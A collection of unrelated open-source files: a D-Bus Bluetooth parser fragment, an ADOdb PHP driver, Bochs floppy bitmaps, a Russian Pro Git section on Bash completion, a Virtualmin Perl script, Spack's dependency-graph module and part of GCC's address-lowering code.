dbus_message_iter_recurse(&iter_dict, &iter_entry);
dbus_message_iter_get_basic(&iter_entry, &key);
dbus_message_iter_next(&iter_entry);
dbus_message_iter_recurse(&iter_entry, &iter_entry_val);
if (strcmp(key, "Adapter") == 0) {
const char *tmp;
if ((tmp = strrchr(dbus_message_iter_get_basic_string(&iter_entry_val), '/')) != NULL)
strncpy(dev->hci_name, tmp + 1, sizeof(dev->hci_name) - 1);
}
else if (strcmp(key, "Address") == 0)
str2ba(dbus_message_iter_get_basic_string(&iter_entry_val), &dev->bt_addr);
else if (strcmp(key, "Alias") == 0)
strncpy(dev->name, dbus_message_iter_get_basic_string(&iter_entry_val), sizeof(dev->name) - 1);
else if (strcmp(key, "Class") == 0)
dev->class_ = dbus_message_iter_get_basic_integer(&iter_entry_val);
else if (strcmp(key, "Icon") == 0)
strncpy(dev->icon, dbus_message_iter_get_basic_string(&iter_entry_val), sizeof(dev->icon) - 1);
else if (strcmp(key, "Blocked") == 0)
dev->blocked = dbus_message_iter_get_basic_boolean(&iter_entry_val);
else if (strcmp(key, "Connected") == 0)
dev->connected = dbus_message_iter_get_basic_boolean(&iter_entry_val);
else if (strcmp(key, "Paired") == 0)
dev->paired = dbus_message_iter_get_basic_boolean(&iter_entry_val);
else if (strcmp(key, "Trusted") == 0)
dev->trusted = dbus_message_iter_get_basic_boolean(&iter_entry_val);
}
dbus_message_unref(rep);
return 0;
}
| {
"pile_set_name": "Github"
} |
<?php
/*
@version v5.20.13 06-Aug-2018
@copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved.
@copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community
Released under both BSD license and Lesser GPL library license.
Whenever there is any discrepancy between the two licenses,
the BSD license will take precedence. See License.txt.
Set tabs to 4 for best viewing.
Latest version is available at http://adodb.org/
*/
// Code contributed by "Robert Twitty" <rtwitty#neutron.ushmm.org>
// security - hide paths
if (!defined('ADODB_DIR')) die();
/*
Because the ODBTP server sends and reads UNICODE text data using UTF-8
encoding, the following HTML meta tag must be included within the HTML
head section of every HTML form and script page:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
Also, all SQL query strings must be submitted as UTF-8 encoded text.
*/
if (!defined('_ADODB_ODBTP_LAYER')) {
include(ADODB_DIR."/drivers/adodb-odbtp.inc.php");
}
class ADODB_odbtp_unicode extends ADODB_odbtp {
var $databaseType = 'odbtp';
var $_useUnicodeSQL = true;
}
| {
"pile_set_name": "Github"
} |
/////////////////////////////////////////////////////////////////////////
// $Id$
/////////////////////////////////////////////////////////////////////////
#define BX_FLOPPYA_BMAP_X 32
#define BX_FLOPPYA_BMAP_Y 32
static const unsigned char bx_floppya_bmap[(BX_FLOPPYA_BMAP_X * BX_FLOPPYA_BMAP_Y)/8] = {
0x00, 0x80, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x40, 0x11, 0x00,
0x00, 0xc0, 0x01, 0x00, 0x00, 0x60, 0x13, 0x00, 0x00, 0x60, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0x07, 0xe0, 0x01, 0x80, 0x07,
0x20, 0xfd, 0xbf, 0x04, 0x20, 0x01, 0x80, 0x04, 0xe0, 0xfd, 0xbf, 0x07,
0xe0, 0x01, 0x80, 0x07, 0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x01, 0x80, 0x07,
0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x01, 0x80, 0x07, 0xe0, 0xfd, 0xbf, 0x07,
0xe0, 0x01, 0x80, 0x07, 0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x01, 0x80, 0x07,
0xe0, 0xff, 0xff, 0x07, 0xe0, 0xff, 0xff, 0x07, 0xe0, 0xff, 0xff, 0x07,
0xe0, 0xff, 0xff, 0x07, 0xe0, 0xaf, 0xea, 0x07, 0xe0, 0xf7, 0xd5, 0x07,
0xe0, 0xef, 0xea, 0x07, 0xe0, 0xf7, 0xd5, 0x07, 0xc0, 0xef, 0xea, 0x07,
0x80, 0x57, 0xd5, 0x07, 0x00, 0xaf, 0xea, 0x07
};
static const unsigned char bx_floppya_eject_bmap[(BX_FLOPPYA_BMAP_X * BX_FLOPPYA_BMAP_Y)/8] = {
0x01, 0x80, 0x00, 0x80, 0x02, 0x40, 0x01, 0x40, 0x04, 0x40, 0x11, 0x20,
0x08, 0xc0, 0x01, 0x10, 0x10, 0x60, 0x13, 0x08, 0x20, 0x60, 0x03, 0x04,
0x40, 0x00, 0x00, 0x02, 0xe0, 0xff, 0xff, 0x07, 0xe0, 0x01, 0x80, 0x07,
0x20, 0xff, 0xff, 0x04, 0x20, 0x05, 0xa0, 0x04, 0xe0, 0xfd, 0xbf, 0x07,
0xe0, 0x11, 0x88, 0x07, 0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x41, 0x82, 0x07,
0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x81, 0x81, 0x07, 0xe0, 0xfd, 0xbf, 0x07,
0xe0, 0x21, 0x84, 0x07, 0xe0, 0xfd, 0xbf, 0x07, 0xe0, 0x09, 0x90, 0x07,
0xe0, 0xff, 0xff, 0x07, 0xe0, 0xff, 0xff, 0x07, 0xe0, 0xff, 0xff, 0x07,
0xe0, 0xff, 0xff, 0x07, 0xe0, 0xaf, 0xea, 0x07, 0xe0, 0xf7, 0xd5, 0x07,
0xf0, 0xef, 0xea, 0x0f, 0xe8, 0xf7, 0xd5, 0x17, 0xc4, 0xef, 0xea, 0x27,
0x82, 0x57, 0xd5, 0x47, 0x01, 0xaf, 0xea, 0x87
};
| {
"pile_set_name": "Github"
} |
=== Git в Bash
(((bash)))(((tab completion, bash)))(((shell prompts, bash)))
Если вы используете Bash, то можете задействовать некоторые из его фишек для облегчения работы с Git.
К слову, Git поставляется с плагинами для нескольких командных оболочек, но они выключены по умолчанию.
Для начала, скачайте файл `contrib/completion/git-completion.bash` из репозитория с исходным кодом Git.
Поместите его в укромное место -- например, в вашу домашнюю директорию -- и добавьте следующие строки в `.bashrc`:
[source,console]
-----
. ~/git-completion.bash
-----
Как только закончите с этим, перейдите в директорию с Git репозиторием и наберите:
[source,console]
----
$ git chec<tab>
----
…и Bash дополнит строку до `git checkout`.
Эта магия работает для всех Git команд, их параметров, удалённых репозиториев и имён ссылок там, где это возможно.
Возможно, вам также пригодится отображение информации о репозитории, расположенном в текущей директории.
Вы можете выводить сколь угодно сложную информацию, но обычно достаточно названия текущей ветки и статуса рабочей директории.
Чтобы снабдить строку приветствия этой информацией, скачайте файл `contrib/completion/git-prompt.sh` из репозитория с исходным кодом Git и добавьте примерно такие строки в `.bashrc`:
[source,console]
-----
. ~/git-prompt.sh
export GIT_PS1_SHOWDIRTYSTATE=1
export PS1='\w$(__git_ps1 " (%s)")\$ '
-----
Часть `\w` означает текущую рабочую директорию, `\$` -- индикатор суперпользователя (обычно `$` или `#`), а `__git_ps1 " (%s)"` вызывает функцию, объявленную в `git-prompt.sh`, с аргументом ` (%s)` -- строкой форматирования.
Теперь ваша строка приветствия будет похожа на эту, когда вы зайдёте в директорию с Git репозиторием:
.Кастомизированная строка приветствия `bash`
image::images/git-bash.png["Кастомизированная строка приветствия `bash`"]
Оба вышеперечисленных скрипта снабжены полезной документацией, загляните внутрь `git-completion.bash` и `git-prompt.sh` чтобы узнать больше.
| {
"pile_set_name": "Github"
} |
#!/usr/local/bin/perl
=head1 list-php-directories.pl
List all directories in which a specific version of PHP has been activated
By default this command outputs a table of directories for the virtual server
specified with the C<--domain> parameter. However, the C<--multiline> flag
can be used to output more detail about each directory in a format more
easily parsed by other programs. Or if you just want a list of directories,
use the C<--name-only> flag.
=cut
package virtual_server;
if (!$module_name) {
$main::no_acl_check++;
$ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
$ENV{'WEBMIN_VAR'} ||= "/var/webmin";
if ($0 =~ /^(.*)\/[^\/]+$/) {
chdir($pwd = $1);
}
else {
chop($pwd = `pwd`);
}
$0 = "$pwd/list-users.pl";
require './virtual-server-lib.pl';
$< == 0 || die "list-php-directories.pl must be run as root";
}
# Parse command-line args
$owner = 1;
while(@ARGV > 0) {
local $a = shift(@ARGV);
if ($a eq "--domain") {
$domain = shift(@ARGV);
}
elsif ($a eq "--multiline") {
$multi = 1;
}
elsif ($a eq "--name-only") {
$nameonly = 1;
}
else {
&usage("Unknown parameter $a");
}
}
$domain || &usage("No domain specified");
$d = &get_domain_by("dom", $domain);
$d || usage("Virtual server $domain does not exist");
@dirs = &list_domain_php_directories($d);
if ($multi) {
# Show on separate lines
foreach $dir (@dirs) {
my $fullver = &get_php_version($dir->{'version'}, $d);
print $dir->{'dir'},"\n";
print " PHP version: $dir->{'version'}\n";
print " Full version: $fullver\n" if ($fullver);
print " Execution mode: $dir->{'mode'}\n";
print " Web root directory: ",
($dir->{'dir'} eq &public_html_dir($d) ? "Yes" : "No"),"\n";
}
}
elsif ($nameonly) {
# Just directories
foreach $dir (@dirs) {
print $dir->{'dir'},"\n";
}
}
else {
# Show in table
$fmt = "%-70.70s %-7.7s\n";
printf $fmt, "Directory", "Version";
printf $fmt, ("-" x 70), ("-" x 7);
foreach $dir (@dirs) {
printf $fmt, $dir->{'dir'}, $dir->{'version'};
}
}
sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists web directories with different PHP versions in a virtual server.\n";
print "\n";
print "virtualmin list-php-directories --domain domain.name\n";
print " [--multiline | --name-only]\n";
exit(1);
}
| {
"pile_set_name": "Github"
} |
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
r"""Functions for graphing DAGs of dependencies.
This file contains code for graphing DAGs of software packages
(i.e. Spack specs). There are two main functions you probably care
about:
graph_ascii() will output a colored graph of a spec in ascii format,
kind of like the graph git shows with "git log --graph", e.g.::
o mpileaks
|\
| |\
| o | callpath
|/| |
| |\|
| |\ \
| | |\ \
| | | | o adept-utils
| |_|_|/|
|/| | | |
o | | | | mpi
/ / / /
| | o | dyninst
| |/| |
|/|/| |
| | |/
| o | libdwarf
|/ /
o | libelf
/
o boost
graph_dot() will output a graph of a spec (or multiple specs) in dot
format.
Note that ``graph_ascii`` assumes a single spec while ``graph_dot``
can take a number of specs as input.
"""
import sys
from heapq import heapify, heappop, heappush
from llnl.util.tty.color import ColorStream
from spack.dependency import all_deptypes, canonical_deptype
__all__ = ['topological_sort', 'graph_ascii', 'AsciiGraph', 'graph_dot']
def topological_sort(spec, reverse=False, deptype='all'):
"""Topological sort for specs.
Return a list of dependency specs sorted topologically. The spec
argument is not modified in the process.
"""
deptype = canonical_deptype(deptype)
if not reverse:
parents = lambda s: s.dependents()
children = lambda s: s.dependencies()
else:
parents = lambda s: s.dependencies()
children = lambda s: s.dependents()
# Work on a copy so this is nondestructive.
spec = spec.copy(deps=deptype)
nodes = spec.index(deptype=deptype)
topo_order = []
par = dict((name, parents(nodes[name])) for name in nodes.keys())
remaining = [name for name in nodes.keys() if not parents(nodes[name])]
heapify(remaining)
while remaining:
name = heappop(remaining)
topo_order.append(name)
node = nodes[name]
for dep in children(node):
par[dep.name].remove(node)
if not par[dep.name]:
heappush(remaining, dep.name)
if any(par.get(s.name, []) for s in spec.traverse()):
raise ValueError("Spec has cycles!")
else:
return topo_order
def find(seq, predicate):
"""Find index in seq for which predicate is True.
Searches the sequence and returns the index of the element for
which the predicate evaluates to True. Returns -1 if the
predicate does not evaluate to True for any element in seq.
"""
for i, elt in enumerate(seq):
if predicate(elt):
return i
return -1
# Names of different graph line states. We record previous line
# states so that we can easily determine what to do when connecting.
states = ('node', 'collapse', 'merge-right', 'expand-right', 'back-edge')
NODE, COLLAPSE, MERGE_RIGHT, EXPAND_RIGHT, BACK_EDGE = states
class AsciiGraph(object):
def __init__(self):
# These can be set after initialization or after a call to
# graph() to change behavior.
self.node_character = 'o'
self.debug = False
self.indent = 0
self.deptype = all_deptypes
# These are colors in the order they'll be used for edges.
# See llnl.util.tty.color for details on color characters.
self.colors = 'rgbmcyRGBMCY'
# Internal vars are used in the graph() function and are
# properly initialized there.
self._name_to_color = None # Node name to color
self._out = None # Output stream
self._frontier = None # frontier
self._nodes = None # dict from name -> node
self._prev_state = None # State of previous line
self._prev_index = None # Index of expansion point of prev line
def _indent(self):
self._out.write(self.indent * ' ')
def _write_edge(self, string, index, sub=0):
"""Write a colored edge to the output stream."""
# Ignore empty frontier entries (they're just collapsed)
if not self._frontier[index]:
return
name = self._frontier[index][sub]
edge = "@%s{%s}" % (self._name_to_color[name], string)
self._out.write(edge)
def _connect_deps(self, i, deps, label=None):
"""Connect dependencies to existing edges in the frontier.
``deps`` are to be inserted at position i in the
frontier. This routine determines whether other open edges
should be merged with <deps> (if there are other open edges
pointing to the same place) or whether they should just be
inserted as a completely new open edge.
Open edges that are not fully expanded (i.e. those that point
at multiple places) are left intact.
Parameters:
label -- optional debug label for the connection.
Returns: True if the deps were connected to another edge
(i.e. the frontier did not grow) and False if the deps were
NOT already in the frontier (i.e. they were inserted and the
frontier grew).
"""
if len(deps) == 1 and deps in self._frontier:
j = self._frontier.index(deps)
# convert a right connection into a left connection
if i < j:
self._frontier.pop(j)
self._frontier.insert(i, deps)
return self._connect_deps(j, deps, label)
collapse = True
if self._prev_state == EXPAND_RIGHT:
# Special case where previous line expanded and i is off by 1.
self._back_edge_line([], j, i + 1, True,
label + "-1.5 " + str((i + 1, j)))
collapse = False
else:
# Previous node also expanded here, so i is off by one.
if self._prev_state == NODE and self._prev_index < i:
i += 1
if i - j > 1:
# We need two lines to connect if distance > 1
self._back_edge_line([], j, i, True,
label + "-1 " + str((i, j)))
collapse = False
self._back_edge_line([j], -1, -1, collapse,
label + "-2 " + str((i, j)))
return True
elif deps:
self._frontier.insert(i, deps)
return False
def _set_state(self, state, index, label=None):
if state not in states:
raise ValueError("Invalid graph state!")
self._prev_state = state
self._prev_index = index
if self.debug:
self._out.write(" " * 20)
self._out.write("%-20s" % (
str(self._prev_state) if self._prev_state else ''))
self._out.write("%-20s" % (str(label) if label else ''))
self._out.write("%s" % self._frontier)
def _back_edge_line(self, prev_ends, end, start, collapse, label=None):
"""Write part of a backwards edge in the graph.
Writes single- or multi-line backward edges in an ascii graph.
For example, a single line edge::
| | | | o |
| | | |/ / <-- single-line edge connects two nodes.
| | | o |
Or a multi-line edge (requires two calls to back_edge)::
| | | | o |
| |_|_|/ / <-- multi-line edge crosses vertical edges.
|/| | | |
o | | | |
Also handles "pipelined" edges, where the same line contains
parts of multiple edges::
o start
| |_|_|_|/|
|/| | |_|/| <-- this line has parts of 2 edges.
| | |/| | |
o o
Arguments:
prev_ends -- indices in frontier of previous edges that need
to be finished on this line.
end -- end of the current edge on this line.
start -- start index of the current edge.
collapse -- whether the graph will be collapsing (i.e. whether
to slant the end of the line or keep it straight)
label -- optional debug label to print after the line.
"""
def advance(to_pos, edges):
"""Write edges up to <to_pos>."""
for i in range(self._pos, to_pos):
for e in edges():
self._write_edge(*e)
self._pos += 1
flen = len(self._frontier)
self._pos = 0
self._indent()
for p in prev_ends:
advance(p, lambda: [("| ", self._pos)])
advance(p + 1, lambda: [("|/", self._pos)])
if end >= 0:
advance(end + 1, lambda: [("| ", self._pos)])
advance(start - 1, lambda: [("|", self._pos), ("_", end)])
else:
advance(start - 1, lambda: [("| ", self._pos)])
if start >= 0:
advance(start, lambda: [("|", self._pos), ("/", end)])
if collapse:
advance(flen, lambda: [(" /", self._pos)])
else:
advance(flen, lambda: [("| ", self._pos)])
self._set_state(BACK_EDGE, end, label)
self._out.write("\n")
def _node_line(self, index, name):
"""Writes a line with a node at index."""
self._indent()
for c in range(index):
self._write_edge("| ", c)
self._out.write("%s " % self.node_character)
for c in range(index + 1, len(self._frontier)):
self._write_edge("| ", c)
self._out.write(" %s" % name)
self._set_state(NODE, index)
self._out.write("\n")
def _collapse_line(self, index):
"""Write a collapsing line after a node was added at index."""
self._indent()
for c in range(index):
self._write_edge("| ", c)
for c in range(index, len(self._frontier)):
self._write_edge(" /", c)
self._set_state(COLLAPSE, index)
self._out.write("\n")
def _merge_right_line(self, index):
"""Edge at index is same as edge to right. Merge directly with '\'"""
self._indent()
for c in range(index):
self._write_edge("| ", c)
self._write_edge("|", index)
self._write_edge("\\", index + 1)
for c in range(index + 1, len(self._frontier)):
self._write_edge("| ", c)
self._set_state(MERGE_RIGHT, index)
self._out.write("\n")
def _expand_right_line(self, index):
self._indent()
for c in range(index):
self._write_edge("| ", c)
self._write_edge("|", index)
self._write_edge("\\", index + 1)
for c in range(index + 2, len(self._frontier)):
self._write_edge(" \\", c)
self._set_state(EXPAND_RIGHT, index)
self._out.write("\n")
def write(self, spec, color=None, out=None):
"""Write out an ascii graph of the provided spec.
Arguments:
spec -- spec to graph. This only handles one spec at a time.
Optional arguments:
out -- file object to write out to (default is sys.stdout)
color -- whether to write in color. Default is to autodetect
based on output file.
"""
if out is None:
out = sys.stdout
if color is None:
color = out.isatty()
self._out = ColorStream(out, color=color)
# We'll traverse the spec in topo order as we graph it.
topo_order = topological_sort(spec, reverse=True, deptype=self.deptype)
# Work on a copy to be nondestructive
spec = spec.copy()
self._nodes = spec.index()
# Colors associated with each node in the DAG.
# Edges are colored by the node they point to.
self._name_to_color = dict((name, self.colors[i % len(self.colors)])
for i, name in enumerate(topo_order))
# Frontier tracks open edges of the graph as it's written out.
self._frontier = [[spec.name]]
while self._frontier:
# Find an unexpanded part of frontier
i = find(self._frontier, lambda f: len(f) > 1)
if i >= 0:
# Expand frontier until there are enough columns for all
# children.
# Figure out how many back connections there are and
# sort them so we do them in order
back = []
for d in self._frontier[i]:
b = find(self._frontier[:i], lambda f: f == [d])
if b != -1:
back.append((b, d))
# Do all back connections in sorted order so we can
# pipeline them and save space.
if back:
back.sort()
prev_ends = []
collapse_l1 = False
for j, (b, d) in enumerate(back):
self._frontier[i].remove(d)
if i - b > 1:
collapse_l1 = any(not e for e in self._frontier)
self._back_edge_line(
prev_ends, b, i, collapse_l1, 'left-1')
del prev_ends[:]
prev_ends.append(b)
# Check whether we did ALL the deps as back edges,
# in which case we're done.
pop = not self._frontier[i]
collapse_l2 = pop
if collapse_l1:
collapse_l2 = False
if pop:
self._frontier.pop(i)
self._back_edge_line(
prev_ends, -1, -1, collapse_l2, 'left-2')
elif len(self._frontier[i]) > 1:
# Expand forward after doing all back connections
if (i + 1 < len(self._frontier) and
len(self._frontier[i + 1]) == 1 and
self._frontier[i + 1][0] in self._frontier[i]):
# We need to connect to the element to the right.
# Keep lines straight by connecting directly and
# avoiding unnecessary expand/contract.
name = self._frontier[i + 1][0]
self._frontier[i].remove(name)
self._merge_right_line(i)
else:
# Just allow the expansion here.
name = self._frontier[i].pop(0)
deps = [name]
self._frontier.insert(i, deps)
self._expand_right_line(i)
self._frontier.pop(i)
self._connect_deps(i, deps, "post-expand")
# Handle any remaining back edges to the right
j = i + 1
while j < len(self._frontier):
deps = self._frontier.pop(j)
if not self._connect_deps(j, deps, "back-from-right"):
j += 1
else:
# Nothing to expand; add dependencies for a node.
name = topo_order.pop()
node = self._nodes[name]
# Find the named node in the frontier and draw it.
i = find(self._frontier, lambda f: name in f)
self._node_line(i, name)
# Replace node with its dependencies
self._frontier.pop(i)
deps = node.dependencies(self.deptype)
if deps:
deps = sorted((d.name for d in deps), reverse=True)
self._connect_deps(i, deps, "new-deps") # anywhere.
elif self._frontier:
self._collapse_line(i)
def graph_ascii(spec, node='o', out=None, debug=False,
indent=0, color=None, deptype='all'):
graph = AsciiGraph()
graph.debug = debug
graph.indent = indent
graph.node_character = node
if deptype:
graph.deptype = canonical_deptype(deptype)
graph.write(spec, color=color, out=out)
def graph_dot(specs, deptype='all', static=False, out=None):
"""Generate a graph in dot format of all provided specs.
Print out a dot formatted graph of all the dependencies between
package. Output can be passed to graphviz, e.g.:
.. code-block:: console
spack graph --dot qt | dot -Tpdf > spack-graph.pdf
"""
if not specs:
raise ValueError("Must provide specs to graph_dot")
if out is None:
out = sys.stdout
deptype = canonical_deptype(deptype)
def static_graph(spec, deptype):
pkg = spec.package
possible = pkg.possible_dependencies(
expand_virtuals=True, deptype=deptype)
nodes = set() # elements are (node name, node label)
edges = set() # elements are (src key, dest key)
for name, deps in possible.items():
nodes.add((name, name))
edges.update((name, d) for d in deps)
return nodes, edges
def dynamic_graph(spec, deptypes):
nodes = set() # elements are (node key, node label)
edges = set() # elements are (src key, dest key)
for s in spec.traverse(deptype=deptype):
nodes.add((s.dag_hash(), s.name))
for d in s.dependencies(deptype=deptype):
edge = (s.dag_hash(), d.dag_hash())
edges.add(edge)
return nodes, edges
nodes = set()
edges = set()
for spec in specs:
if static:
n, e = static_graph(spec, deptype)
else:
n, e = dynamic_graph(spec, deptype)
nodes.update(n)
edges.update(e)
out.write('digraph G {\n')
out.write(' labelloc = "b"\n')
out.write(' rankdir = "TB"\n')
out.write(' ranksep = "1"\n')
out.write(' edge[\n')
out.write(' penwidth=4')
out.write(' ]\n')
out.write(' node[\n')
out.write(' fontname=Monaco,\n')
out.write(' penwidth=4,\n')
out.write(' fontsize=24,\n')
out.write(' margin=.2,\n')
out.write(' shape=box,\n')
out.write(' fillcolor=lightblue,\n')
out.write(' style="rounded,filled"')
out.write(' ]\n')
out.write('\n')
for key, label in nodes:
out.write(' "%s" [label="%s"]\n' % (key, label))
out.write('\n')
for src, dest in edges:
out.write(' "%s" -> "%s"\n' % (src, dest))
out.write('}\n')
| {
"pile_set_name": "Github"
} |
/* Memory address lowering and addressing mode selection.
Copyright (C) 2004-2018 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3, or (at your option) any
later version.
GCC is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3. If not see
<http://www.gnu.org/licenses/>. */
/* Utility functions for manipulation with TARGET_MEM_REFs -- tree expressions
that directly map to addressing modes of the target. */
#include "config.h"
#include "system.h"
#include "coretypes.h"
#include "backend.h"
#include "target.h"
#include "rtl.h"
#include "tree.h"
#include "gimple.h"
#include "memmodel.h"
#include "stringpool.h"
#include "tree-vrp.h"
#include "tree-ssanames.h"
#include "expmed.h"
#include "insn-config.h"
#include "emit-rtl.h"
#include "recog.h"
#include "tree-pretty-print.h"
#include "fold-const.h"
#include "stor-layout.h"
#include "gimple-iterator.h"
#include "gimplify-me.h"
#include "tree-ssa-loop-ivopts.h"
#include "expr.h"
#include "tree-dfa.h"
#include "dumpfile.h"
#include "tree-affine.h"
#include "gimplify.h"
/* FIXME: We compute address costs using RTL. */
#include "tree-ssa-address.h"
/* TODO -- handling of symbols (according to Richard Hendersons
comments, http://gcc.gnu.org/ml/gcc-patches/2005-04/msg00949.html):
There are at least 5 different kinds of symbols that we can run up against:
(1) binds_local_p, small data area.
(2) binds_local_p, eg local statics
(3) !binds_local_p, eg global variables
(4) thread local, local_exec
(5) thread local, !local_exec
Now, (1) won't appear often in an array context, but it certainly can.
All you have to do is set -GN high enough, or explicitly mark any
random object __attribute__((section (".sdata"))).
All of these affect whether or not a symbol is in fact a valid address.
The only one tested here is (3). And that result may very well
be incorrect for (4) or (5).
An incorrect result here does not cause incorrect results out the
back end, because the expander in expr.c validizes the address. However
it would be nice to improve the handling here in order to produce more
precise results. */
/* A "template" for memory address, used to determine whether the address is
valid for mode. */
struct GTY (()) mem_addr_template {
rtx ref; /* The template. */
rtx * GTY ((skip)) step_p; /* The point in template where the step should be
filled in. */
rtx * GTY ((skip)) off_p; /* The point in template where the offset should
be filled in. */
};
/* The templates. Each of the low five bits of the index corresponds to one
component of TARGET_MEM_REF being present, while the high bits identify
the address space. See TEMPL_IDX. */
static GTY(()) vec<mem_addr_template, va_gc> *mem_addr_template_list;
#define TEMPL_IDX(AS, SYMBOL, BASE, INDEX, STEP, OFFSET) \
(((int) (AS) << 5) \
| ((SYMBOL != 0) << 4) \
| ((BASE != 0) << 3) \
| ((INDEX != 0) << 2) \
| ((STEP != 0) << 1) \
| (OFFSET != 0))
/* Stores address for memory reference with parameters SYMBOL, BASE, INDEX,
STEP and OFFSET to *ADDR using address mode ADDRESS_MODE. Stores pointers
to where step is placed to *STEP_P and offset to *OFFSET_P. */
static void
gen_addr_rtx (machine_mode address_mode,
rtx symbol, rtx base, rtx index, rtx step, rtx offset,
rtx *addr, rtx **step_p, rtx **offset_p)
{
rtx act_elem;
*addr = NULL_RTX;
if (step_p)
*step_p = NULL;
if (offset_p)
*offset_p = NULL;
if (index && index != const0_rtx)
{
act_elem = index;
if (step)
{
act_elem = gen_rtx_MULT (address_mode, act_elem, step);
if (step_p)
*step_p = &XEXP (act_elem, 1);
}
*addr = act_elem;
}
if (base && base != const0_rtx)
{
if (*addr)
*addr = simplify_gen_binary (PLUS, address_mode, base, *addr);
else
*addr = base;
}
if (symbol)
{
act_elem = symbol;
if (offset)
{
act_elem = gen_rtx_PLUS (address_mode, act_elem, offset);
if (offset_p)
*offset_p = &XEXP (act_elem, 1);
if (GET_CODE (symbol) == SYMBOL_REF
|| GET_CODE (symbol) == LABEL_REF
|| GET_CODE (symbol) == CONST)
act_elem = gen_rtx_CONST (address_mode, act_elem);
}
if (*addr)
*addr = gen_rtx_PLUS (address_mode, *addr, act_elem);
else
*addr = act_elem;
}
else if (offset)
{
if (*addr)
{
*addr = gen_rtx_PLUS (address_mode, *addr, offset);
if (offset_p)
*offset_p = &XEXP (*addr, 1);
}
else
{
*addr = offset;
if (offset_p)
*offset_p = addr;
}
}
if (!*addr)
*addr = const0_rtx;
}
/* Returns address for TARGET_MEM_REF with parameters given by ADDR
in address space AS.
If REALLY_EXPAND is false, just make fake registers instead
of really expanding the operands, and perform the expansion in-place
by using one of the "templates". */
rtx
addr_for_mem_ref (struct mem_address *addr, addr_space_t as,
bool really_expand)
{
scalar_int_mode address_mode = targetm.addr_space.address_mode (as);
scalar_int_mode pointer_mode = targetm.addr_space.pointer_mode (as);
rtx address, sym, bse, idx, st, off;
struct mem_addr_template *templ;
if (addr->step && !integer_onep (addr->step))
st = immed_wide_int_const (wi::to_wide (addr->step), pointer_mode);
else
st = NULL_RTX;
if (addr->offset && !integer_zerop (addr->offset))
{
poly_offset_int dc
= poly_offset_int::from (wi::to_poly_wide (addr->offset), SIGNED);
off = immed_wide_int_const (dc, pointer_mode);
}
else
off = NULL_RTX;
if (!really_expand)
{
unsigned int templ_index
= TEMPL_IDX (as, addr->symbol, addr->base, addr->index, st, off);
if (templ_index >= vec_safe_length (mem_addr_template_list))
vec_safe_grow_cleared (mem_addr_template_list, templ_index + 1);
/* Reuse the templates for addresses, so that we do not waste memory. */
templ = &(*mem_addr_template_list)[templ_index];
if (!templ->ref)
{
sym = (addr->symbol ?
gen_rtx_SYMBOL_REF (pointer_mode, ggc_strdup ("test_symbol"))
: NULL_RTX);
bse = (addr->base ?
gen_raw_REG (pointer_mode, LAST_VIRTUAL_REGISTER + 1)
: NULL_RTX);
idx = (addr->index ?
gen_raw_REG (pointer_mode, LAST_VIRTUAL_REGISTER + 2)
: NULL_RTX);
gen_addr_rtx (pointer_mode, sym, bse, idx,
st? const0_rtx : NULL_RTX,
off? const0_rtx : NULL_RTX,
&templ->ref,
&templ->step_p,
&templ->off_p);
}
if (st)
*templ->step_p = st;
if (off)
*templ->off_p = off;
return templ->ref;
}
/* Otherwise really expand the expressions. */
sym = (addr->symbol
? expand_expr (addr->symbol, NULL_RTX, pointer_mode, EXPAND_NORMAL)
: NULL_RTX);
bse = (addr->base
? expand_expr (addr->base, NULL_RTX, pointer_mode, EXPAND_NORMAL)
: NULL_RTX);
idx = (addr->index
? expand_expr (addr->index, NULL_RTX, pointer_mode, EXPAND_NORMAL)
: NULL_RTX);
gen_addr_rtx (pointer_mode, sym, bse, idx, st, off, &address, NULL, NULL);
if (pointer_mode != address_mode)
address = convert_memory_address (address_mode, address);
return address;
}
/* implement addr_for_mem_ref() directly from a tree, which avoids exporting
the mem_address structure. */
rtx
addr_for_mem_ref (tree exp, addr_space_t as, bool really_expand)
{
struct mem_address addr;
get_address_description (exp, &addr);
return addr_for_mem_ref (&addr, as, really_expand);
}
/* Returns address of MEM_REF in TYPE. */
tree
tree_mem_ref_addr (tree type, tree mem_ref)
{
tree addr;
tree act_elem;
tree step = TMR_STEP (mem_ref), offset = TMR_OFFSET (mem_ref);
tree addr_base = NULL_TREE, addr_off = NULL_TREE;
addr_base = fold_convert (type, TMR_BASE (mem_ref));
act_elem = TMR_INDEX (mem_ref);
if (act_elem)
{
if (step)
act_elem = fold_build2 (MULT_EXPR, TREE_TYPE (act_elem),
act_elem, step);
addr_off = act_elem;
}
act_elem = TMR_INDEX2 (mem_ref);
if (act_elem)
{
if (addr_off)
addr_off = fold_build2 (PLUS_EXPR, TREE_TYPE (addr_off),
addr_off, act_elem);
else
addr_off = act_elem;
}
if (offset && !integer_zerop (offset))
{
if (addr_off)
addr_off = fold_build2 (PLUS_EXPR, TREE_TYPE (addr_off), addr_off,
fold_convert (TREE_TYPE (addr_off), offset));
else
addr_off = offset;
}
if (addr_off)
addr = fold_build_pointer_plus (addr_base, addr_off);
else
addr = addr_base;
return addr;
}
/* Returns true if a memory reference in MODE and with parameters given by
ADDR is valid on the current target. */
bool
valid_mem_ref_p (machine_mode mode, addr_space_t as,
struct mem_address *addr)
{
rtx address;
address = addr_for_mem_ref (addr, as, false);
if (!address)
return false;
return memory_address_addr_space_p (mode, address, as);
}
